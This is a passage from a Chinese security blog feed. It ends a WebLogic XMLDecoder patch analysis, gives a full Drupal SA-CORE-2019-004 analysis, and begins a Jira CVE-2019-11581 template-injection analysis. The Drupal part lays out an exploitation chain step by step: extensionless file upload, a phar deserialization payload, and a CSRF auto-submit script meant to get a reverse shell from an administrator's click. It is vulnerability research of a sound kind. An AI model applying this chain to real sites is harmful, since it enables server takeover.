&lt;p&gt;在原来&lt;code&gt;validate&lt;/code&gt;过滤的基础上又增加了一次&lt;code&gt;validateFormat&lt;/code&gt;过滤，过滤方法如下&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620124924.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这回终于是采用了白名单方式，&lt;code&gt;allowedName&lt;/code&gt;如下&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190620124935.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到&lt;code&gt;allowedName&lt;/code&gt;严格限制了可以使用的标签，并且也限制了标签可以拥有的属性，值得注意的是&lt;code&gt;allowedName&lt;/code&gt;不再允许&lt;code&gt;field&lt;/code&gt;标签了，emmm&amp;hellip;&lt;/p&gt;

&lt;h3 id=&#34;总结&#34;&gt;总结&lt;/h3&gt;

&lt;p&gt;这个漏洞是当时应急时简单分析的，后续有时间会详细整理一下。&lt;/p&gt;

&lt;p&gt;从整个&lt;code&gt;XMLDecoder&lt;/code&gt;反序列化漏洞的来看（CVE-2017-3506 -&amp;gt; CVE-2017-10271(10352) -&amp;gt; CVE-2019-2725 -&amp;gt; CVE-2019-2729），使用黑名单修补漏洞是不靠谱的，永远不知道下一次绕过是在什么时候，而这次的白名单修复方式会不会还存在缺陷呢？此处还得打一个问号。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>SA-CORE-2019-004 Drupal内核从XSS到RCE漏洞分析</title>
      <link>https://kylingit.com/blog/sa-core-2019-004-drupal%E5%86%85%E6%A0%B8%E4%BB%8Exss%E5%88%B0rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Mon, 22 Apr 2019 15:19:04 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/sa-core-2019-004-drupal%E5%86%85%E6%A0%B8%E4%BB%8Exss%E5%88%B0rce%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h3&gt;

&lt;p&gt;3月20日，Drupal官方发布&lt;code&gt;SA-CORE-2019-004&lt;/code&gt;漏洞预警，修复了一处文件名处理异常，当我们上传特殊文件名时可以绕过限制在服务器上创建“无后缀”文件，精心构造的文件经过浏览器解析后可以触发XSS漏洞，再进一步可以达到代码执行的目的。&lt;/p&gt;

&lt;p&gt;官方描述该漏洞为中危影响，因为该漏洞需要登录，并且需要作者权限来上传文件才能触发。&lt;/p&gt;

&lt;p&gt;详细参考：&lt;a href=&#34;https://www.drupal.org/sa-core-2019-004&#34;&gt;https://www.drupal.org/sa-core-2019-004&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x02-漏洞分析&#34;&gt;0x02 漏洞分析&lt;/h3&gt;

&lt;p&gt;根据官方&lt;a href=&#34;https://github.com/drupal/core/commit/933f4f9d620af5807c4eb4ec17dc4eb4193a667c&#34;&gt;补丁&lt;/a&gt;，最主要修改了一处&lt;code&gt;preg_replace&lt;/code&gt;异常，修改的方法为&lt;code&gt;file.inc:file_create_filename()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190422165341.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;该方法的主要功能是处理上传文件的路径，返回形如&lt;code&gt;public://2019-04/1.png&lt;/code&gt;的路径，然后由&lt;code&gt;drupal&lt;/code&gt;自身实现的方法将&lt;code&gt;public://&lt;/code&gt;路径转换为相对路径。如果文件系统已经存在同名文件，则在文件名会追加&lt;code&gt;_0&lt;/code&gt;, &lt;code&gt;_1&lt;/code&gt;。问题出在这行处理&lt;code&gt;utf-8&lt;/code&gt;编码的代码上&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$basename = preg_replace(&#39;/[\x00-\x1F]/u&#39;, &#39;_&#39;, $basename);&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;这行代码的意思的如果文件名中含有&lt;code&gt;0x00-0x1F&lt;/code&gt;区间的字符时，将其转换为&lt;code&gt;_&lt;/code&gt;。查看标准&lt;code&gt;ASCII&lt;/code&gt;码表，字符所对应的十进制数范围为&lt;code&gt;0-127&lt;/code&gt;，&lt;code&gt;0x00-0x1F&lt;/code&gt;对应的数为&lt;code&gt;0-31&lt;/code&gt;，也就是前32个不常见或者说不可显字符。&lt;strong&gt;假如我们传入的字符范围大于128时，&lt;code&gt;preg_replace&lt;/code&gt;便会出错&lt;/strong&gt;，返回一个&lt;code&gt;NULL&lt;/code&gt;值，于是此时的&lt;code&gt;basename&lt;/code&gt;便被赋值为空，而下面对&lt;code&gt;basename&lt;/code&gt;也没有多余的操作，于是我们就得到了一个没有后缀的文件，而且这个文件的名称也是可以预测的，相关代码如下&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;if (file_exists($destination)) {
    // Destination file already exists, generate an alternative.
    $pos = strrpos($basename, &#39;.&#39;);
    if ($pos !== FALSE) {
      $name = substr($basename, 0, $pos);
      $ext = substr($basename, $pos);
    }
    else {
      $name = $basename;
      $ext = &#39;&#39;;
    }

    $counter = 0;
    do {
      $destination = $directory . $separator . $name . &#39;_&#39; . $counter++ . $ext;
    } while (file_exists($destination));
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在开始有一个&lt;code&gt;file_exists&lt;/code&gt;判断，所以我们需要上传相同文件至少两次，才能进入&lt;code&gt;if&lt;/code&gt;分支。由于&lt;code&gt;$basename&lt;/code&gt;为空，&lt;code&gt;$name&lt;/code&gt;也被赋值为空，接下来进入一个循环，如果文件已经存在，就把文件命名为&lt;code&gt;路径+分隔符+name+_+counter+后缀&lt;/code&gt;的形式，也就是同名文件会被加上后缀&lt;code&gt;_0&lt;/code&gt; &lt;code&gt;_1&lt;/code&gt;等，而此时表达式的值即为&lt;code&gt;下划线+计数器&lt;/code&gt;的值，于是我们在&lt;code&gt;/sites/default/files/pictures/&amp;lt;YYYY-MM&amp;gt;/&lt;/code&gt;目录下得到类似&lt;code&gt;_0 _1&lt;/code&gt;的无后缀文件。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190422171620.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;值得注意的是，上传的文件可以是任意类型，不局限于图片文件，可以通过&lt;code&gt;http://drupal-site/sites/default/files/&amp;lt;YYYY-MM&amp;gt;/_1&lt;/code&gt;访问到文件。&lt;/p&gt;

&lt;h3 id=&#34;0x03-尝试利用&#34;&gt;0x03 尝试利用&lt;/h3&gt;

&lt;h4 id=&#34;初探&#34;&gt;初探&lt;/h4&gt;

&lt;p&gt;此时我们想到，可以上传一个html文件，诱使管理员点击形成一个XSS漏洞。&lt;/p&gt;

&lt;p&gt;但是这里存在一个问题，当通过&lt;code&gt;Home &amp;gt;&amp;gt; Add content &amp;gt;&amp;gt; 上传Image&lt;/code&gt;上传文件时，如果传了一个纯HTML文件，是无法上传成功的，因为在&lt;code&gt;core/modules/file/file.module&lt;/code&gt;里有一个检查&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$errors = file_validate($file, $validators);&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;file_validate()&lt;/code&gt;方法通过下图4个方法检查图片有效性&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423111858.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;其中&lt;code&gt;file_validate_is_image&lt;/code&gt;方法使用了&lt;code&gt;ImageFactory&lt;/code&gt;库，非图片文件无法通过这个检查，于是上传失败，也就无法在&lt;code&gt;sites/default/files/&amp;lt;YYYY-MM&amp;gt;/&lt;/code&gt;生成文件。&lt;/p&gt;

&lt;p&gt;当然这里是可以绕过的，那就是在上传的内容前加上图片文件头，例如&lt;code&gt;GIF&lt;/code&gt;或&lt;code&gt;GIF89a&lt;/code&gt;，能够绕过&lt;code&gt;file_validate_is_image&lt;/code&gt;检查上传文件，然而这并没有什么用，因为访问&lt;code&gt;http://drupal-site/sites/default/files/&amp;lt;YYYY-MM&amp;gt;/_1&lt;/code&gt;时，浏览器无法判断文件类型，所以不会解析&amp;hellip;&lt;/p&gt;

&lt;p&gt;也就是说&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;纯HTML文件无后缀，浏览器可以解析，但是无法上传；&lt;/li&gt;
&lt;li&gt;增加图片文件头，可以上传，但是浏览器不能解析；&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;于是现在陷入一个两难境地，需要找个另外的点。&lt;/p&gt;

&lt;h4 id=&#34;突破&#34;&gt;突破&lt;/h4&gt;

&lt;p&gt;我们注意到在&lt;code&gt;新建文章&lt;/code&gt;页面除了上传图片外，还有一个编辑器内置的图片上传接口，从这个接口分析一下&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423111342.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;跟入相关方法，之前的流程都是一样的，同样会进入&lt;code&gt;file_validate()&lt;/code&gt;方法，同样检测文件合法性，但是此时的&lt;code&gt;$validators&lt;/code&gt;有所不一样：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423111805.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;file_validate_is_image&lt;/code&gt;变成了&lt;code&gt;file_validate_image_resolution&lt;/code&gt;，这个方法是检测图片是否符合大小，但是对于非图片文件会直接忽略，返回一个空数组&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423113048.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;方法说明里也说了会忽略非图片文件&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Non-image files will be ignored.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;于是&lt;code&gt;file_validate()&lt;/code&gt;不报错，校验通过，成功上传文件，目录是&lt;code&gt;sites/default/files/inline-images/&lt;/code&gt;，访问文件成功触发&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423113606.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;现在可以利用这个漏洞上传一个html文件，攻击面就扩大了许多，简单的可以是一个XSS，复杂的可以是个钓鱼页面(这个漏洞需要作者权限，故可以钓鱼管理员)，再进一步，如何进行命令执行甚至反弹一个shell呢？&lt;/p&gt;

&lt;h4 id=&#34;组合拳&#34;&gt;组合拳&lt;/h4&gt;

&lt;p&gt;联想到1月份Drupal官方修复的&lt;a href=&#34;https://www.drupal.org/sa-core-2019-002&#34;&gt;SA-CORE-2019-002&lt;/a&gt;漏洞，文件操作函数处理&lt;code&gt;phar&lt;/code&gt;文件时会触发反序列化形成代码执行漏洞，在此处正好可以用上。&lt;code&gt;phar&lt;/code&gt;反序列化风险影响几乎所有文件操作函数，而在Drupal中&lt;code&gt;File system&lt;/code&gt;功能就存在这个缺陷，在设置本地临时文件夹的时候会进行路径检查，相关方法是&lt;code&gt;system_check_directory()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423135902.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在这个方法中存在&lt;code&gt;is_dir()&lt;/code&gt;函数，当&lt;code&gt;is_dir()&lt;/code&gt;函数处理&lt;code&gt;phar:// stream wrapper&lt;/code&gt;时，便会触发反序列化，如果传入一个恶意构造的&lt;code&gt;phar&lt;/code&gt;文件就可以造成代码执行。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423140328.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190425174400.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此现在的思路是，上传一个&lt;code&gt;phar&lt;/code&gt;文件，诱使管理员点击链接把临时文件路径设置为&lt;code&gt;phar://test.phar&lt;/code&gt;触发漏洞反弹shell&lt;/p&gt;

&lt;h3 id=&#34;0x04-漏洞利用&#34;&gt;0x04 漏洞利用&lt;/h3&gt;

&lt;p&gt;通过上述分析，有几个限制需要突破：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;生成的phar文件不能通过图片上传接口上传，否则会失败；&lt;/li&gt;
&lt;li&gt;需要写一个html让管理员打开链接自动发送请求来修改临时文件路径；&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;因此漏洞利用分为以下几步：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;生成一个能反弹shell的phar文件；&lt;/p&gt;

&lt;p&gt;Drupal反序列化的POP链已经比较多了，可以参考这里&lt;a href=&#34;https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/&#34;&gt;由 PHPGGC 理解 PHP 反序列化漏洞&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;选择&lt;code&gt;GuzzleHttp\Psr7&lt;/code&gt;类，使用&lt;a href=&#34;https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/&#34;&gt;PHARGGC&lt;/a&gt;直接生成phar文件&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423143704.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;上传phar文件&lt;/p&gt;

&lt;p&gt;把&lt;code&gt;out.phar&lt;/code&gt;修改为png后缀，通过编辑器的接口上传，获得文件路径&lt;/p&gt;

&lt;p&gt;&lt;code&gt;http://127.0.0.1/drupal-8.6.5/sites/default/files/inline-images/phar.png&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;生成一个html文件&lt;/p&gt;

&lt;p&gt;这个html文件需要让管理员打开链接时自动发送请求来修改临时文件路径，与&lt;code&gt;CSRF&lt;/code&gt;非常相似，所以直接使用&lt;code&gt;burpsuite&lt;/code&gt;抓包生成&lt;code&gt;CSRF PoC&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423150512.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;然后增加一个自动点击提交表单的操作，省去手动submit&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-html&#34;&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
    var a  = document.getElementById(&#39;form1&#39;)
    a.submit()
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;再通过编辑器的接口上传这个html文件，修改文件名的&lt;code&gt;ascii&lt;/code&gt;值大于128。&lt;strong&gt;注意需要上传至少两次&lt;/strong&gt;，以生成&lt;code&gt;_0&lt;/code&gt;、&lt;code&gt;_1&lt;/code&gt;文件&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423153014.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;访问&lt;code&gt;http://drupal-site/sites/default/files/inline-images/_0&lt;/code&gt;时浏览器解析为html并自动提交表单，触发漏洞&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190423153510.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这里因为反弹shell会把页面卡住，可以增加一个跳转首页，更隐蔽地触发漏洞。&lt;/p&gt;

&lt;h3 id=&#34;0x05-总结&#34;&gt;0x05 总结&lt;/h3&gt;

&lt;p&gt;这个漏洞由一个&lt;code&gt;preg_replace()&lt;/code&gt;引起，由于没有正确处理异常，导致可以上传“任意”文件；而&lt;code&gt;phar&lt;/code&gt;反序列化漏洞在一年前就已经公布了，把几个漏洞组合在一起形成一条漂亮的攻击链，值得学习。站在管理员角度应该关注安全更新，及时更新应用，而对于开发者来说也要重视安全风险，不可忽视任何一处不起眼的安全隐患。&lt;/p&gt;

&lt;p&gt;参考：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://github.com/drupal/core/commit/933f4f9d620af5807c4eb4ec17dc4eb4193a667c&#34;&gt;https://github.com/drupal/core/commit/933f4f9d620af5807c4eb4ec17dc4eb4193a667c&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.zerodayinitiative.com/blog/2019/4/11/a-series-of-unfortunate-images-drupal-1-click-to-rce-exploit-chain-detailed&#34;&gt;https://www.zerodayinitiative.com/blog/2019/4/11/a-series-of-unfortunate-images-drupal-1-click-to-rce-exploit-chain-detailed&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://paper.seebug.org/897/&#34;&gt;https://paper.seebug.org/897/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>CVE-2019-11581 Atlassian Jira未授权模板注入漏洞分析</title>
      <link>https://kylingit.com/blog/cve-2019-11581-atlassian-jira%E6%9C%AA%E6%8E%88%E6%9D%83%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Fri, 22 Feb 2019 22:19:04 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/cve-2019-11581-atlassian-jira%E6%9C%AA%E6%8E%88%E6%9D%83%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;h3 id=&#34;环境搭建&#34;&gt;环境搭建&lt;/h3&gt;

&lt;p&gt;使用&lt;code&gt;atlas-debug&lt;/code&gt;调试&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;下载安装&lt;code&gt;Atlassian SDK&lt;/code&gt;，&lt;a href=&#34;https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/&#34;&gt;地址&lt;/a&gt;；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;atlas-create-jira-plugin&lt;/code&gt;创建一个插件，&lt;a href=&#34;https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/&#34;&gt;参考&lt;/a&gt;；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;atlas-debug&lt;/code&gt;开启调试，http端口2990，调试端口5005；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IDEA&lt;/code&gt;打开&lt;code&gt;MyPlugin&lt;/code&gt;，把&lt;code&gt;WEB-INF/classes&lt;/code&gt;和&lt;code&gt;WEB-INF/lib&lt;/code&gt;加入library；&lt;/li&gt;
&lt;li&gt;新建&lt;code&gt;Remote&lt;/code&gt;调试；&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;其他：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;如果没有设置&lt;code&gt;%JAVA_HOME%&lt;/code&gt;可以通过&lt;code&gt;SET JAVA_HOME=d:\jdk1.8&lt;/code&gt;设置；&lt;/li&gt;
&lt;li&gt;默认不开启电子邮件发送，通过&lt;code&gt;atlas-debug --jvmargs -Datlassian.mail.senddisabled=false&lt;/code&gt;开启；&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;第一部分-注入代码并生成邮件&#34;&gt;第一部分：注入代码并生成邮件&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563246860552.png&#34; alt=&#34;1563246860552&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;post&lt;/code&gt;的数据通过&lt;code&gt;JiraSafeActionParameterSetter-&amp;gt;setActionProperty()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563271320369.png&#34; alt=&#34;1563271320369&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过反射调用到&lt;code&gt;ContactAdministrators.setSubject()&lt;/code&gt;方法，把&lt;code&gt;ContactAdministrators&lt;/code&gt;对象的&lt;code&gt;subject&lt;/code&gt;属性设置为传入的&lt;code&gt;subject&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;随后通过&lt;code&gt;ContactAdministrators.doExecute()&lt;/code&gt;调用&lt;code&gt;send()&lt;/code&gt;方法，在这个方法中会查找系统中已激活的管理员，通过&lt;code&gt;this.sendTo(administrator)&lt;/code&gt;将邮件发送给该管理员&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563247236827.png&#34; alt=&#34;1563247236827&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;sendTo()&lt;/code&gt;流程中，&lt;code&gt;Jira&lt;/code&gt;需要通过&lt;code&gt;EmailBuilder()&lt;/code&gt;方法创建一个邮件队列对象，随后将该对象放入邮件发送队列中。由于队列等待原因，所以触发&lt;code&gt;payload&lt;/code&gt;可能需要等待一段时间，并且当邮件发送失败时系统会继续尝试发送邮件，所以&lt;code&gt;payload&lt;/code&gt;可能会触发多次。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563247471810.png&#34; alt=&#34;1563247471810&#34; /&gt;&lt;/p&gt;

&lt;p&gt;创建队列的方法有点长，精简一下就是这个样子&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;MailQueueItem item = (new EmailBuilder()).withSubject(this.subject).withBodyFromFile().addParameters().renderLater();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;通过&lt;code&gt;EmailBuilder&lt;/code&gt;的&lt;code&gt;withSubject()&lt;/code&gt;方法，创建一个&lt;code&gt;TemplateSources$fragment&lt;/code&gt;对象，参数即是我们传入的&lt;code&gt;payload&lt;/code&gt;，随后调用&lt;code&gt;renderLater()&lt;/code&gt;方法创建出&lt;code&gt;EmailBuilder&lt;/code&gt;对象，再将该对象作为参数传递给&lt;code&gt;RenderingMailQueueItem&lt;/code&gt;类，&lt;code&gt;RenderingMailQueueItem&lt;/code&gt;的继承关系是如下图，于是最终创建出一个&lt;code&gt;MailQueueItem&lt;/code&gt;对象，并将该对象放入邮件发送队列。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563248388715.png&#34; alt=&#34;1563248388715&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;第二部分-发送邮件&#34;&gt;第二部分：发送邮件&lt;/h3&gt;

&lt;p&gt;当我们把&lt;code&gt;payload&lt;/code&gt;注入到模板中之后，邮件进入待发送队列，&lt;code&gt;Jira&lt;/code&gt;中处理邮件队列的具体流程如下：&lt;/p&gt;

&lt;p&gt;通过模板引擎&lt;code&gt;(getTemplatingEngine)&lt;/code&gt;生成一个Velocity模板，通过&lt;code&gt;applying()&lt;/code&gt;方法生成&lt;code&gt;RenderRequest&lt;/code&gt;对象，之后根据该对象成员变量&lt;code&gt;source&lt;/code&gt;的类型，调用不同的方法解析模板，漏洞的产生正是由于这个差异造成的，下面详细分析一下。&lt;/p&gt;

&lt;p&gt;首先进入&lt;code&gt;RenderingMailQueueItem().send()&lt;/code&gt;方法，调用&lt;code&gt;this.emailRenderer.render()&lt;/code&gt;，随后调用&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;this.getTemplatingEngine().render(this.subjectTemplate).applying(contextParams).asPlainText();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个过程中前面是为了获取模板解析引擎（VelocityTemplatingEngine）并传入主题模板（此处为payload数据），通过&lt;code&gt;applying()&lt;/code&gt;方法创建&lt;code&gt;VelocityContext&lt;/code&gt;对象并把&lt;code&gt;payload&lt;/code&gt;赋值给成员变量&lt;code&gt;source&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563267497538.png&#34; alt=&#34;1563267497538&#34; /&gt;&lt;/p&gt;

&lt;p&gt;随后重写了抽象类&lt;code&gt;StringRepresentation&lt;/code&gt;的&lt;code&gt;with()&lt;/code&gt;方法，在&lt;code&gt;with()&lt;/code&gt;方法中调用了&lt;code&gt;asPlainText()&lt;/code&gt;方法&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;DefaultRenderRequest.this.asPlainText(sw)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;asPlainText()&lt;/code&gt;的作用是通过&lt;code&gt;Velocity&lt;/code&gt;模板引擎解析模板，其中的调用链是&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;toWriterImpl()-&amp;gt;writeEncodedBodyForContent()-&amp;gt;evaluate()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;而在&lt;code&gt;evaluate()&lt;/code&gt;方法中生成了&lt;code&gt;AST&lt;/code&gt;结构，随后通过反射调用传入的&lt;code&gt;payload&lt;/code&gt;，完成代码执行。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563245970455.png&#34; alt=&#34;1563245970455&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;asPlainText()&lt;/code&gt;之后的调用栈如下&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563246607016.png&#34; alt=&#34;1563246607016&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在处理完Object模板后会调用父类&lt;code&gt;SingleMailQueueItem&lt;/code&gt;的send()方法，通过&lt;code&gt;smtpMailServer.sendWithMessageId()&lt;/code&gt;发送邮件，由于没有正确配置&lt;code&gt;SMTP&lt;/code&gt;服务会抛出异常，但在连接&lt;code&gt;SMTP&lt;/code&gt;服务之前漏洞已经触发了，控制台也能看到&lt;code&gt;MailQueue&lt;/code&gt;执行的过程。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563257377543.png&#34; alt=&#34;1563257377543&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;思考&#34;&gt;思考&lt;/h3&gt;

&lt;p&gt;上述漏洞流程走完了，但还有一个关键问题没有解决：为什么邮件主题&lt;code&gt;Subject&lt;/code&gt;会被解析成&lt;code&gt;AST&lt;/code&gt;结构并被执行呢？按照正常发送反馈的逻辑，一封邮件的主题（字符串）似乎没有必要解析成&lt;code&gt;AST&lt;/code&gt;，导致差异的原因是什么？&lt;/p&gt;

&lt;p&gt;发送一封正常的“联系管理员”邮件，走一遍流程&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563268202907.png&#34; alt=&#34;1563268202907&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/1563268493868.png&#34; alt=&#34;1563268493868&#34; /&gt;&lt;/p&gt;

&lt;p&gt;对比一下两个处理流程，当发送正常反馈时，&lt;code&gt;writeEncodedBody()&lt;/code&gt;中调用的是&lt;code&gt;this.getVe().mergeTemplate&lt;/code&gt;，通过&lt;code&gt;Velocity&lt;/code&gt;引擎的&lt;code&gt;ClasspathResourceLoader()&lt;/code&gt;类的&lt;code&gt;getResourceStream()&lt;/code&gt;方法加载模板文件，此处的模板是&lt;code&gt;templates/email/html/contactadministrator.vm&lt;/code&gt;，随后还会进行&lt;code&gt;header&lt;/code&gt;、&lt;code&gt;footer&lt;/code&gt;等正常加载流程，最终渲染出整个页面。而发送&lt;code&gt;payload&lt;/code&gt;时，通过asPlainText()创建出TemplateSource$Fragment对象，再通过DefaultRenderRequest构造方法把&lt;code&gt;source&lt;/code&gt;成员变量赋值为这个&lt;code&gt;Fragment&lt;/code&gt;对象，于是进入第一个分支，调用的是&lt;code&gt;this.getVe().evaluate()&lt;/code&gt;，最终调用&lt;code&gt;ASTMethod.execute()&lt;/code&gt;，这正是前面说的差异性导致的两个不同处理逻辑。&lt;/p&gt;

